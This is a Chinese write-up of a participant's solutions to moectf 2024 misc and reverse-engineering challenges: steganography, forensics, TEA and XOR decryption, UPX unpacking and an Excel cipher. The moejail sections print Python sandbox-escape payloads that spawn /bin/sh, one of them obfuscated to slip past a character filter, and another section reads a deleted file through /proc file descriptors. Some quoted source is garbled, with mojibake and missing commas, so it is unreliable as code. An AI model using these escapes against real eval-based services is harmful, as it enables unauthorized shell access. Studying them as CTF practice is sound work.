文章近3w字,可能会比较卡,让子弹飞一会吧-------------- 包新的👆
前言
有幸参加了moectf,拿下第11名,ak了web,re差俩题ak,后面忙了没时间做了
总之,学到了很多东西,感谢moe让一个web菜🐶接触到re的魅力,且爱上了re,祝moectf越办越好
签到
misc
week 1
signin
xdsec的小伙伴们和参赛者来上课,碰巧这一天签到系统坏了,作为老师的你,要帮他们教师代签。
特殊提醒:luo同学今天好像在宿舍打游戏,不想来上课,这是严重的缺勤行为!!
签到完成后点击左下角的完成按钮并点击完成,如果你做的是正确的,等待几秒钟就会出现flag!
要是没正确签到,就无法拿到真正的flag哦。
flag 格式 moectf{[\da-zA-Z_!]+}
二维码是fake flag,luo缺勤,其他已签,完成拿flag
杂项入门指北
什么?!还没有看到flag?快去欣赏海报吧
推荐新生使用并尝试掌握赛博厨师——CTFer的瑞士军刀:https://gchq.github.io/CyberChef/
海报得到的内容以 moectf{}包裹提交
在海豹右侧
摩斯密码
罗小黑战记
小黑祝大家中秋快乐(拜个早秋)
gif,丢stegsolve,Analyse-Frame Browser
ez_F5
010打开发现密码no_password和F5加密
利用F5-steganography工具
java Extract suantouwangba.jpg -p no_password
output.txt中
moectf{F5_15_s0_lntere5t1n9}
捂住一只耳
音频中数字对于键盘上字母的列和行
readme
a veryveryveryveryveryveryveryvery simple reader 😇
关于验证码,示例:AAAAA+AAAAA=AAAAAAAAAA
实验得知,似乎文件名带flag就会被过滤,返回** Access denied try again**
查看/proc/self/cmdline
查看内核命令行信息
/proc储存进程信息,self为当前运行的进程
拿到源码位置/usr/share/main.py
,查看源码
import re
import os
MOTD = """馃構 Welcome to the veryveryveryveryveryveryveryvery simple challenge! If your terminal DO NOT support unicode it may be messed up!
馃コ You got a free hint!
--------------------------------------------------
fd = open("/tmp/therealflag" "r")
the_real_flag = fd.read().strip() # u can't catch me i am ________
os.system("rm /tmp/therealflag")
def handle(input print) -> NoReturn:
pass # not implemented yet
def main():
pass # not implemented yet
if __name__ == "__main__":
main()
--------------------------------------------------
"""
fd = open("/tmp/therealflag" "r")
the_real_flag = fd.read().strip() # u can't catch me i am ________
os.system("rm /tmp/therealflag")
def chall(input print):
filename = input("馃 What file you want to view? ")
if re.match(r".*[flag]{3}.*" filename):
print("馃槨 Access denied try again")
else:
print(f"馃憤 Here is your file: {filename}" f"{open(filename 'r').read()}")
def handle(input print):
import random
import string
print(
"HTTP/1.1 302 Found\r\nLocation: https://lug.ustc.edu.cn/planet/2019/09/how-to-use-nc/\r\nContent-Length: 0\r\n\r\n===HTTP REQUEST PREVENT===\x00\033c"
)
try:
print(MOTD)
count = 0
while True:
captcha = "".join(
random.choices(string.ascii_uppercase + string.digits k=6)
)
captcha2 = "".join(
random.choices(string.ascii_uppercase + string.digits k=6)
)
if (
input(
f"馃え Are you robot? Please enter '{captcha}'+'{captcha2}'=? to continue: "
)
.strip()
.upper()
!= captcha + captcha2
):
count += 1
print("馃 Robot detected try again")
if count > 5:
print("馃 Too many tries blocked")
break
continue
count = 0
try:
chall(input print)
except Exception as e:
print(f"馃 Error: {e}")
except Exception as e:
print(
f"\033c ========== Unhandled Error! ==========\n馃ズ We cannot recover from error: {e}\nChild process exited. Please reconnect or ask administrators for help if error persist"
)
def conn_input(conn):
def wrapped(prompt: str / *args **kwargs) -> str:
conn.send(prompt.encode(encoding="utf-8"))
return conn.recv(1024).decode().strip()
return wrapped
def conn_print(conn):
def wrapped(*args **kwargs):
conn.send(("\n".join(map(str args)) + "\n").encode(encoding="utf-8"))
return wrapped
def main():
import socket
print("[Info] Server starting")
sock = socket.socket(socket.AF_INET socket.SOCK_STREAM)
try:
sock.bind(("0.0.0.0" 9999))
sock.listen(1)
while True:
try:
conn addr = sock.accept()
print(f"[Info] Connected with {addr}")
handle(conn_input(conn) conn_print(conn))
except Exception as e:
print(f"[Error] {e}")
except KeyboardInterrupt:
print("[Info] Server stopped")
finally:
sock.close()
print("[Info] Server closed")
if __name__ == "__main__":
main()
拿了源码也无能为力,文件已经被删了
然鹅,实际上并没有被完全删除,如删!当socket启动时,这个python就一直保持运行状态,而通过open函数新打开的文件在文件描述符/proc/{pid}/fd/3
,直到进程结束
不多说,这两个链接比我清楚
系统调用 - open 系统调用的实现 - 《Linux 内核揭秘(中文版)》 - 书栈网 · BookStack
[彻底弄懂 Linux 下的文件描述符(fd) | 半亩方塘 (handongke.github.io)](https://handongke.github.io/2020/08/14/彻底弄懂 Linux 下的文件描述符(fd)/#5、Python中文件描述符的使用)
实验:
week 2
搜索西安雄峰集团,找到其官网陕西护栏安装_陕西钢结构工程_陕西装配式房屋厂家_陕西工业产业园开发建设_陕西雄峰实业集团 (xfsyjt.com)
熟悉的大厦
找到地址:西安经济技术开发区凤城十二路富尔顿**B座23层
对应ABC三个座,中间那个就是雄峰集团,红框确定视角方位
俩吉的堡幼儿园,跟我读——di的
The upside and down
Stranger things看入迷了,不知道从哪里潜入the upside and down(异世界)来拯救霍金斯小镇,入口就在此题!
flag 格式 以moectf{}包裹
根据题目名字颠倒文件
with open('the_upside_and_down.hex','rb') as f:
with open('flag','wb') as g:
g.write(f.read()[::-1])
发现文件头是89 50 4e 47(png)高4bit和低4bit互换
f = open('flag',"rb")
f = f.read()
for i in f:
ans = str(hex(i))[2:][::-1]
if len(ans) == 1:
ans = ans + '0'
print(ans,end='')
解不完的压缩包
玩过俄罗斯套娃吗,就和那一样,不过最后有一点小惊喜哦,加油吧
脚本解套
import zipfile
import os
def extract_nested_zip(zip_path, extract_to):
# 初始化路径变量
current_zip_path = zip_path
current_extract_to = extract_to
for i in range(1000): # 假设最多有1000层
with zipfile.ZipFile(current_zip_path, 'r') as zip_ref:
# 获取所有文件列表
file_list = zip_ref.namelist()
# 检查是否只有一个文件且是ZIP文件
if len(file_list) == 1 and file_list[0].lower().endswith('.zip'):
next_zip_name = file_list[0]
next_extract_to = os.path.join(current_extract_to, f'extracted_{i}')
# 创建目录
os.makedirs(next_extract_to, exist_ok=True)
# 解压当前层
zip_ref.extract(next_zip_name, next_extract_to)
# 更新路径变量,准备处理下一层
current_zip_path = os.path.join(next_extract_to, next_zip_name)
current_extract_to = next_extract_to
else:
# 如果不是符合条件的嵌套ZIP文件结构,停止
print(f"Reached non-nested ZIP or multiple files at level {i}.")
break
print(f"Extraction completed. Final extraction directory: {current_extract_to}")
# 使用方式
zip_path = r"D:\CTF\moectf2024\misc\999\999.zip" # 修改为你的最外层ZIP文件路径
extract_to = r"D:\CTF\moectf2024\misc\999\1" # 修改为你想解压到的目录
extract_nested_zip(zip_path, extract_to)
解压出ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccrc.zip
压缩包被加密,爆也爆不出密码,文件名提示cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccrc
winRAR打开发现pwd由4个2字节的文件组成,这样我们就可以换一个思路,CRC32是由文件内容计算而来的,用于检验文件,具有唯一性,而pwd文件仅7字节,我们可以碰撞文件CRC32得出那俩字节是啥
使用工具碰撞
the_secret_of_snowball
- 啊哦,captain rabbit被抓走了,最后留下的下机密就在图片里,怎么打不开,是被家宠破坏了吗,复仇计划无法进行?no way!想尽办法恢复图片,找到前一半flag,前往下水道王国 。
- captain rabbit留下的最后一张图片,会有后一部分遗言?(
老大不会game over的(确信),快找找吧!- flag模式 moectf{机密~}
修复图片,jpg文件头FF D8 FF
拿到第一段
文件尾有key
base64解密Welc0me_t0_the_secret_life_0f_Misc!
week 3
ez_Forensics
某天,ubw亲眼看着npm在cmd中输入命令,将flag写入了flag.txt,然后删除了flag.txt。npm自信地认为没有人能够获取这道题的flag。然而,npm并没有料到,在他关闭cmd前,ubw及时保存了电脑的内存镜像。
内存取证,使用volatility工具
查看镜像信息
volatility -f flag.raw imageinfo
查看cmd命令历史
volatility -f flag.raw --profile=Win7SP1x64 cmdscan
ctfer2077②
为了拯救T-bug和杰克,你不得不和某个联觉信标被更改的系统达成合作,它帮你改写剧情,而你帮它拿到一个关键的key。“key在这个加密卷里,我只知道密码是’法治富强自由富强和谐平等和谐平等法治法治和谐富强法治文明公正自由’,他宝贝的,只能靠你自己解密了。” 请将得到的flag以moectf{}包裹提交
解密出
Diskgenius打开,发现无flag,大概率被删了,试着恢复一下
在磁盘中只要该位置不被覆写,该段数据只会被标记删除
小鹤.txt中有加密信息
根据名字和内容,发现是小鹤双拼
时光穿梭机
大量的铯废料堆积,能量放射过高,划出时间裂缝,sparkle穿越到1946年4月20日的伦敦,一脸茫然的她捡到一张当地知名的画报,上面写着国内的消息,知名古墓被开!?正当疑惑时,一眨眼又穿梭到2024年8月23日的该古墓遗址公园,反复的时空穿梭令她心口绞痛,从公园正门夺门而出,来到正对的中医院,大夫热心地治好了心痛之疾,眨眼间又穿梭到家,打开电脑,记录下这段神奇的经历!
wait a minute!还没有付给大夫医疗费用,可记忆只剩下了这些,你能帮帮她吗?
//以上故事内容纯属虚构,请按照提示作答。
flag内容为中医院前三个汉字的小写拼音,整个汉字拼音之间以_连接,flag内容以moectf{}包裹
一开始根据提示伦敦知名画报定位《伦敦新闻画报》,找到伦敦新闻画报历史档案,1842-2003 年 (gale.com)和[Results for ‘1946’ | Between 1st Jan 1900 and 31st Dec 1949 | Illustrated London News | Publication | British Newspaper Archive](https://www.britishnewspaperarchive.co.uk/search/results/1900-01-01/1949-12-31?basicsearch=1946&exactsearch=false&retrievecountrycounts=false&newspapertitle=illustrated london news),近在咫尺,可惜要钱,川大和中山大学电子图书馆是买了gale,可惜我不配,咸鱼35块,最后找《遗失在西方的中国史:《伦敦新闻画报》记录的民国1926-1949》,翻到如下
王谦翻译有误,检索英文发现是王建
谷歌地图搜不到,还是百度地图靠谱
秉安堂也不对,放大发现旁边还有一个汉方堂,ORZ
week 4
so many ‘m’
不是,怎么这么乱啊,这让我怎么做题
字频统计
from collections import Counter
# 输入字符串
input_string = "a!{ivlotzkEm{CtsvEpbDkwexsotyMuECs!mvlhmenrhwpMh0leydsMbC#CC}sii}tkb}ugCD{zlEeT#kyC0fbukglpopmaekbEthmjcMdsgkvmTnC}eot#dcf{ec@ccgqpfqMycysMuuou!en#{g0cDmoyxTCMgt{joT{jnl0rhoklCe{n0CnxprydeaTg0r{avkEjckjEsxhaohs{Trbkr!ffqip444uwrc}nnevgtCT{jCipogtipzdeDiqsy44rMfj{MzCw#qwg{T4m{cuk!hwuncxdmddeurtsojakrjC#vTDd}0poTT@c!DftjwuDp@mcuheeDtfao!iEcEq}kcf#Mpcam{mml4i4mpDnedamcwtC0nem{mDotnmp4jf@TpxfqMoiqwtdijDfimmCzmxe#gsTu{poeTEhD!u0anvTTTbbi{q}zapcksMifDlovoeac@{0keh0dg{Mi!@tfftqitmuMoMcuTpmcgnmozyrrv#zfmzmetyxxa0wczE}eoD{xcMnoCuebu0otdusiDknfvo0{fEsMftzT!eoslegbypspC4vkxm#uaf@acuemhMyiDou#at0rfl4a}0ixeEktws}pMCfCigaTafg}ffssmwwuTkTuls0{M@c4e@{D{tuorzmyqptChpngkeCohCCMTwqctinc0mcjemclv@cMoqf00poarte@oqmuysm#mo{et4kcCpcgcT}vD}m!g4{E0!Mol0fpo!{srT0pf{cMuCx0bp{ftTmExcrn}0etonez!@C4tfa4aM00siztb@fomfD#{#tMbo@jgb4CM0dEk0tea4aMCafn"
# 计算字符频率
char_frequencies = Counter(input_string)
# 按频率排序(频率降序,字符升序)
sorted_by_frequency = dict(sorted(char_frequencies.items(), key=lambda x: (-x[1], x[0])))
flag=""
# 输出结果
for char, freq in sorted_by_frequency.items():
print(f"'{char}': {freq}")
flag+=char
print(flag)
注意M``p
同频,按字母顺序
Abnormal lag
某天,npm正欣赏着刚从某网站上下载的歌曲,却发现这首歌的开头与结尾都有不正常卡顿,聪明的你能发现这其中的问题吗
flag格式:moectf{[\da-f-]+}
Audacity分析音频
顺序为左声道-右声道
题目说明为flag内容0-9,a-f
ctfer2077①
某天晚上,你在通宵速通荒坂大楼,然后你猝死了(
再睁眼你发现你坐在一辆车中,正在被公司的人追杀,正当你不知道怎么办时,脑海里突然出现一道声音"欢迎来到ctfer2077,请开始解决你的第一题",说着你的脑子连入了一张图片
注:flag格式:moectf{[\da-z-]+}
stegsolve red0 lsb
ctfer2077③
终于到最后一章了,干爆亚当·重锤,想不出文案了,开摆
狡猾的出题人因为不想让你们做出来,将附件上传到了服务器上,不过还好有Alt帮你获取了这段流量,接下来,就靠你自己了
注:请将最终结果以_分离并包上moectf{}提交
gif图来源:b站up@炸鸡QwQ
分离出upload
解压在gif中找到key:C5EZFsC6
发现key不是zip的
音频文件名为brainfuck,mp3类型,MP3Stego工具解一下
./MP3StegoDecode.exe -X -P C5EZFsC6 brainfuck.mp3
解出brainfuck.mp3.txt中brainfuck加密
+++++ +++[- >++++ ++++< ]>+++ +++++ .<+++ +[->- ---<] >---. <++++ +++[-
>++++ +++<] >+.<+ ++++[ ->--- --<]> ----- -.<++ +[->+ ++<]> +++++ +.<++
+[->- --<]> -.<++ ++[-> ----< ]>--- -.<++ ++++[ ->+++ +++<] >++++ +.<
解出H5gHWM9b
解压完zip,发现又是讨厌的小人
网上还找到一个盗版的,害我不浅
还好我有库存(p是不一样的)
peopledancinghappily
答案大写,_
分开
moectf{PEOPLE_DANCING_HAPPILY}
moejail_lv1
veryveryveryveryvery simple python jail 😋
本题存在超多解法,所以不用问预期是什么了
沙盒逃逸
源代码
import re
CONFIG_USE_FORK = True
MOTD = """馃構 Welcome to the ez python jail!"""
def my_safe_eval(code):
if re.match(r"os|system|[\\\+]", code):
return "Hacked By Rx"
return eval(code)
def chall(input, print):
code: str = input("Give me your payload:")
if len(code) > 100:
print("Too long code, Sry!")
return
value = my_safe_eval(code)
print(value)
def handle(input, print):
import random
import string
print(
"HTTP/1.1 302 Found\r\nLocation: https://lug.ustc.edu.cn/planet/2019/09/how-to-use-nc/\r\nContent-Length: 0\r\n\r\n===HTTP REQUEST PREVENT===\x00\033c"
)
try:
print(MOTD)
count = 0
while True:
captcha = "".join(
random.choices(string.ascii_uppercase + string.digits, k=6)
)
captcha2 = "".join(
random.choices(string.ascii_uppercase + string.digits, k=6)
)
if (
input(
f"馃え Are you robot? Please enter '{captcha}'+'{captcha2}'=? to continue: "
)
.strip()
.upper()
!= captcha + captcha2
):
count += 1
print("馃 Robot detected, try again")
if count > 5:
print("馃 Too many tries, blocked")
break
continue
count = 0
try:
chall(input, print)
except Exception as e:
print(f"馃 Error: {e}")
except Exception as e:
print(
f"\033c ========== Unhandled Error! ==========\n馃ズ We cannot recover from error: {e}\nChild process exited. Please reconnect or ask administrators for help if error persist"
)
def daemon_main():
import os
import socket
import subprocess
print("[Info] Server starting")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
pwd = os.path.dirname(__file__)
script = open(__file__, "rb").read()
self_fd = os.memfd_create("main")
os.write(self_fd, script)
os.lseek(self_fd, 0, os.SEEK_SET)
os.chmod(self_fd, 0o444)
try:
sock.bind(("0.0.0.0", 9999))
sock.listen(1)
while True:
try:
conn, addr = sock.accept()
print(f"[Info] Connected with {addr}")
fd = conn.fileno()
subprocess.Popen(
[
"python",
"/proc/self/fd/{}".format(self_fd),
"fork",
],
stdin=fd,
stdout=fd,
stderr=fd,
pass_fds=[self_fd],
cwd=pwd,
env=os.environ,
)
except Exception as e:
print(f"[Error] {e}")
except KeyboardInterrupt:
print("[Info] Server stopped")
finally:
sock.close()
print("[Info] Server closed")
if __name__ == "__main__":
import sys
if len(sys.argv) == 2 and sys.argv[1] == "fork":
del sys
handle(input, print)
else:
daemon_main()
__import__('os').system('/bin/sh')
du -ah /|grep flag
cat /tmp/.there*
moejail_lv2
easy pyjail again
回显似乎一直在清屏
原因是\x1b\63
在搞鬼,ESC c即ANSI转义序列RIS – 重置为初始状态(Reset to Initial State),
作用: 将设备重置为原始状态。可能包括(如果适用的话):重置图形格式,清除制表符,重置为默认字体等等。
执行以下会清屏
echo $'\x1b\x63'
验证码太烦人了,过验证码交互脚本
from pwn import *
import re
# 定义目标IP和端口
HOST = '127.0.0.1'
PORT = 64438
p = remote(HOST, PORT)
while 1:
t=p.recvuntil(b"enter")
text = p.recvuntil(b"?") # 使用正则表达式提取
matches = re.findall(r"[A-Z0-9]+", text.decode())
# 输出提取结果
CAPTCHA = ''.join(matches).encode()
# 设置日志级别为INFO,显示交互过程
p.sendline(CAPTCHA)
t = p.recvuntil(b":")
p.send(input().encode()+b"\n")
t = p.recvuntil(b":")
t=p.recvuntil(b"\n").decode().replace("\n","")
print(t)
# 启动交互模式
p.interactive()
b、d、"、'都被ban了
构造字符串
__import__(chr((True+True+True)**(True+True+True)*len(repr(True))+True+True+True)+chr((True+True+True)**(True+True+True)*len(repr(True))+(True+True+True+True+True+True+True))).system(chr((True+True+True)**(True+True+True)*len(repr(True))+(True+True+True+True+True+True+True))+chr((True+True+True)**(True+True+True)*len(repr(True))-len(repr(True))))
ps.做完第二天发现改题了,去了ESC c,给了过滤hint:if re.search(r’["‘0-8bd]|[^\x00-\xff]’, code): print(“Nope”)
9没被过滤,可恶,大意了
moejail_lv3
still ez pyjail…
if re.search(r"[A-z0-9]", code): print(“Nope”)
unicode+breakpoint()绕过
𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
re
week 1
xor
无壳直接ida,F5反编译
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
__int64 i; // rax
char Buffer[16]; // [rsp+20h] [rbp-48h] BYREF
__int128 v7; // [rsp+30h] [rbp-38h]
__int64 v8; // [rsp+40h] [rbp-28h]
int v9; // [rsp+48h] [rbp-20h]
char v10; // [rsp+4Ch] [rbp-1Ch]
sub_140001010("Input Your Flag moectf{xxx} (len = 45) \n");
v8 = 0i64;
*(_OWORD *)Buffer = 0i64;
v9 = 0;
v7 = 0i64;
v10 = 0;
v3 = _acrt_iob_func(0);
fgets(Buffer, 45, v3);
for ( i = 0i64; i < 44; ++i )
{
if ( ((unsigned __int8)Buffer[i] ^ 0x24) != byte_1400022B8[i] )
{
sub_140001010("FLAG is wrong!\n");
system("pause");
exit(0);
}
}
sub_140001010("FLAG is RIGHT!\n");
system("pause");
return 0;
}
异或,flag每一位与0x24异或完应当等于byte_1400022B8储存的值
看看byte_1400022B8
异或运算可逆,写个python脚本逆回去
for i in range(0x1400022B8,0x1400022e4):
print(chr(idc.get_wide_byte(i)^0x24),end="")
TEA
什么是 TEA 加密算法,是我喝的茶吗?
无壳
看到delta9E3779B,tea加密
key 为 [1702060386, 1870148662, 1634038898, 1634038904]
加密数据为[676078132,957400408]
c解密
#include <stdio.h>
#include <stdint.h>
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; //这里的sum是0x9e3779b9*32后截取32位的结果,截取很重要。
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0;i < 32;i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0;v[1] = v1;
}
int main()
{
uint32_t v[2] = { 676078132,957400408 }, k[4] = { 1702060386,1870148662,1634038898,1634038904 };
decrypt(v, k);
printf("xxxxxxxx yyyyzzzz:%x %x\n", v[0], v[1]);
return 0;
}
python解密
from ctypes import *
def decrypt(v, k):
v0 = c_uint32(v[0])
v1 = c_uint32(v[1])
delta = 0x9e3779b9
sum1 = c_uint32(delta * 32)
for i in range(32):
v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
sum1.value -= delta
return v0.value, v1.value
if __name__ == '__main__':
enc = [676078132,957400408]
key = [1702060386, 1870148662, 1634038898, 1634038904]
dec = decrypt(enc, key)
print("xxxxxxxx yyyyzzzz:%x %x"%(dec[0],dec[1]))
逆向工程进阶之北
void flag_encryption(unsigned char* input)
{
size_t len = strlen((const char*)input);
if (len != 44)
{
std::cout << "length error!";
return;
}
unsigned int* p = (unsigned int*)input;
for (int i = 0; i < 11; i++)
{
*(p + i) = (*(p + i) * 0xccffbbbb + 0xdeadc0de) ^ 0xdeadbeef + 0xd3906;
std::cout << ", 0x" << std::hex << *(p + i) << ' ';
}
std::cout << std::endl;
// 0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 ,
0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81
}
int main()
{
unsigned char a[] = "moectf{f4k3__flag__here_true_flag_in_s3cr3t}";
flag_encryption(a);
return 0;
}
计算出0xdeadbeef
在有限域(unsigned int
范围:0 ~2^{32})即mod 0x100000000下的乘法逆元为0x8d61d173
c解密
#include <stdio.h>
#include <stdint.h>
#include<iostream>
void flag_decryption(unsigned int* input)
{
for (int i = 0; i < 11; i++)
{
*(input + i) = ((*(input + i) ^ 0xdeadbeef + 0xd3906) - 0xdeadc0de) * 0x8d61d173;
}
std::cout << (char*)input;
// 0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 ,0x42d74750, 0x11297e95, 0x5cf2821b, 0x747970da, 0x64793c81
}
int main()
{
unsigned int enc[] = {0xb5073388, 0xf58ea46f, 0x8cd2d760, 0x7fc56cda, 0x52bc07da, 0x29054b48, 0x42d74750, 0x11297e95, 0x5cf2821b, 0x747970da, 0x64793c81};
flag_decryption(enc);
return 0;
}
SecretModule
一个奇怪的模块,隐藏着关于某场黑客比赛的秘密……
请使用Magisk Manager或同样实现的管理器(如KernelSU本题仅在KernelSU进行了测试)刷入
testk() {
echo "Welcome to the Secret module!But before you begin,you need to prove your self."
(/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
return 0
}
choose() {
while true; do
/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
break
fi
done
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
echo "114514"
else
echo "1919810"
fi
}
if testk; then
ui_print "Great! Now enter the secret."
else
ui_print "Legacy Device. Use a newer device to do this challenge"
exit
fi
concatenated=""
for i in 1 2 3 4 5 6 7
do
result=$(choose)
concatenated="${concatenated}${result}"
done
input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
echo 'You are right!Flag is'
echo "moectf{$concatenated}"
else
echo 'Wrong. Try again.'
exit
fi
sh脚本
#!/bin/bash
# 初始化值
VOLUME_UP="114514"
VOLUME_DOWN="1919810"
SECRET_HASH="77a58d62b2c0870132bfe8e8ea3ad7f1"
# 用于保存所有组合的数组
combinations=()
# 生成所有组合(7 次选择)
for i in {0..1}; do
for j in {0..1}; do
for k in {0..1}; do
for l in {0..1}; do
for m in {0..1}; do
for n in {0..1}; do
for o in {0..1}; do
combination=""
[[ $i -eq 0 ]] && combination+="$VOLUME_UP" || combination+="$VOLUME_DOWN"
[[ $j -eq 0 ]] && combination+="$VOLUME_UP" || combination+="$VOLUME_DOWN"
[[ $k -eq 0 ]] && combination+="$VOLUME_UP" || combination+="$VOLUME_DOWN"
[[ $l -eq 0 ]] && combination+="$VOLUME_UP" || combination+="$VOLUME_DOWN"
[[ $m -eq 0 ]] && combination+="$VOLUME_UP" || combination+="$VOLUME_DOWN"
[[ $n -eq 0 ]] && combination+="$VOLUME_UP" || combination+="$VOLUME_DOWN"
[[ $o -eq 0 ]] && combination+="$VOLUME_UP" || combination+="$VOLUME_DOWN"
# 将组合保存到数组中
combinations+=("$combination")
done
done
done
done
done
done
done
# 遍历所有组合并计算哈希值
for combo in "${combinations[@]}"; do
hash=$(echo -n "$combo" | md5sum | awk '{print $1}')
if [ "$hash" == "$SECRET_HASH" ]; then
echo "Match found! The correct concatenated string is: $combo"
echo "The flag is: moectf{$combo}"
exit 0
fi
done
echo "No matching combination found."
python脚本
import hashlib
import itertools
# 初始化值
VOLUME_UP = "114514"
VOLUME_DOWN = "1919810"
SECRET_HASH = "77a58d62b2c0870132bfe8e8ea3ad7f1"
# 生成所有可能的组合(7 次选择,每次选择有两种可能)
combinations = list(itertools.product([VOLUME_UP, VOLUME_DOWN], repeat=7))
# 遍历每个组合并计算其 MD5 哈希值
for combo in combinations:
concatenated = ''.join(combo)
hash_value = hashlib.md5(concatenated.encode()).hexdigest()
if hash_value == SECRET_HASH:
print(f"Match found! The correct concatenated string is: {concatenated}")
print(f"The flag is: moectf{{{concatenated}}}")
break
else:
print("No matching combination found.")
week 2
upx
UPX 是一种遥遥领先的程序压缩壳。
既然题目叫upx,那就直接脱壳吧
upx -d upx.exe
IDA反编译,发现flag
dynamic
借问flag何处有?牧童遥指动态调。
无壳x64,他说动调,那我们就直接动调
upx-revenge
这年头,连upx也能来复仇了。
直接脱报错,盲猜改了特征码
UPX防脱壳机脱壳、去除特征码、添加花指令小探 - 『脱壳破解区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
010打开,定位.rsrc
区段,发现UPX0和UPX1被改成vmp0和vmp1
改回UPX
upx -d
脱壳
moedaily
对于xdsec的ctf数据统计,cfbb给出的excel竟然是…
很有意思的一题
D12是判断密文的地方
其验证函数
=IF(LEN(D11)=48,IF(AND(AND(AND(AND(AND(AND(H14=1397140385,I14=2386659843),AND(H15=962571399,I15=3942687964)),AND(H16=3691974192,I16=863943258)),AND(H17=216887638,I17=3212824238)),AND(H18=3802077983,I18=1839161422)),AND(H19=1288683919,I19=3222915626)),"恭喜你,拿到了真的FLAG","FLAG输入错了,再试试"),"flag长度不对")
验证H14-I19
即绿色方格内所有值,判断其是否与密文相等
我们详细看绿色方格的值是如何计算的,例如I14
H14表达式为=s3cr3t!F54
,即等于s3cr3t表中的F54
找到s3cr3t!F54,发现其也是一系列复杂计算得来的
在xlsx函数语法中
-
BITAND 函数返回两个数的按位进行“与”(AND)运算后的结果。
-
BITXOR 函数返回两个数的按位进行“异或”(XOR)运算后的结果。
-
BITLSHIFT 函数返回一个数向左移动指定位数后的数值。
-
BITRSHIFT 函数返回一个数向右移动指定位数后的数值。
-
CODE 函数用于返回文本字符串中第一个字符的 ASCII 代码
-
MID 函数返回文本字符串中从指定位置开始的特定数目的字符串。
=MID(文本, 开始位置, 字符个数)
-
IF 函数根据提供的条件参数,条件计算结果为 TRUE 时,返回一个值;条件计算结果为 FALSE 时,返回另一个值。
=IF(条件, [条件为 TRUE 时的返回值], [条件为 FALSE 时的返回值])
-
AND 函数返回逻辑值:如果所有参数值均为“真(TRUE)”,返回“真(TRUE)”,反之返回“假(FALSE)”。
=AND(测试条件1, [测试条件2], ...)
现在再回到如下表达式(s3cr3t!F54)
=BITAND(F53+BITXOR(BITLSHIFT(E54,4)+E38,BITXOR(E54+D54,BITRSHIFT(E54,5)+F38)),4294967295)
可以发现其值与F53(上)、E54(左)、E38(固定值415144)、D54(115514*32)和F38(固定值19883)有关
同样s3cr3t!E54值与E53(上)、F53(右上)、C38(固定值114514)、D54(115514*32)和D38(固定值1919810)有关
以此类推F54是由A38 B38经64次加密得来,其中蓝色方框内是两组固定偏移,计算左边时使用114514和1919810,右边则使用415144和19883,绿色方框内是累加变化的偏移,每两次加密累加一次,下图为一轮加密
再往前看,B38等于F18,A38等于E18,A38 B38是由上一轮加密的最后两个结果继承的(左上继承右下)
再看这轮加密的初值A2 B2,是由Sheet1中的F14和G14得来的
即如下,可以发现F14值为将D14四个字符的ascii码值分别存放于8bit*4的整数,类似于*(int*)str
操作,直接将字符数组转为整数
化简一下
F54=(上+(左<<4+415144)^(左+3664448)^(左>>5+19883))&4294967295
其中,左(E54)应与密文1397140385相等,F54应与2386659843相等,4294967295为0b11111111111111111111111111111111
左(E54)已知,F54已知,(左<<4+415144)^(左+3664448)^(左>>5+19883)
是可求的,&4294967295
保留最低的 32 位
表格中的所有数都是&4294967295而来,均小于4294967295
因此,逆向解密
上=F54-((左<<4+415144)^(左+3664448)^(左>>5+19883))&4294967295
解密通式
n为加密次数,p、q为偏移,y为当前数,x为前一次加密结果,z为前前一次加密结果
z=y-(xor((x<<4)+p,xor(x+114514*((n+1)//2),(x>>5)+q)))&4294967295
解密脚本
def xor(m,n):
return m^n
def decode(x,y,n):
k=[114514,1919810,415144,19883]
if n%2==1:
p,q=k[0],k[1]
else:
p, q = k[2], k[3]
x,y,n=y-(xor((x<<4)+p,xor(x+114514*((n+1)//2),(x>>5)+q)))&4294967295,x,n-1
print(x,y,n)
if n==0:
return x,y
return decode(x,y,n)
flag_part=""
while 1:
x,y=int(input('x=')),int(input('y='))
x,y=decode(x,y,64)
x,y=decode(x,y,64)
flag_part += chr(x & 0xFF)+chr((x >> 8) & 0xFF)+chr((x >> 16) & 0xFF)+chr((x >> 24) & 0xFF)
flag_part += chr(y & 0xFF)+chr((y >> 8) & 0xFF)+chr((y >> 16) & 0xFF)+chr((y >> 24) & 0xFF)
print(flag_part)
moeprotector
虽然但是,moeprotector是moectf自主研发的一款软件保护工具,帮助我们解决调试者,中间忘了,后面忘了。
考点(免费Hint)
- Windows下的异常处理(SEH)
- Windows下的调试器对抗(Anti-Debugger)
温馨提示:如果你只会看IDA来静态分析,那么本题可能对你来说比较Hard!
PEB (winternl.h) - Win32 apps | Microsoft Learn
除0绕过
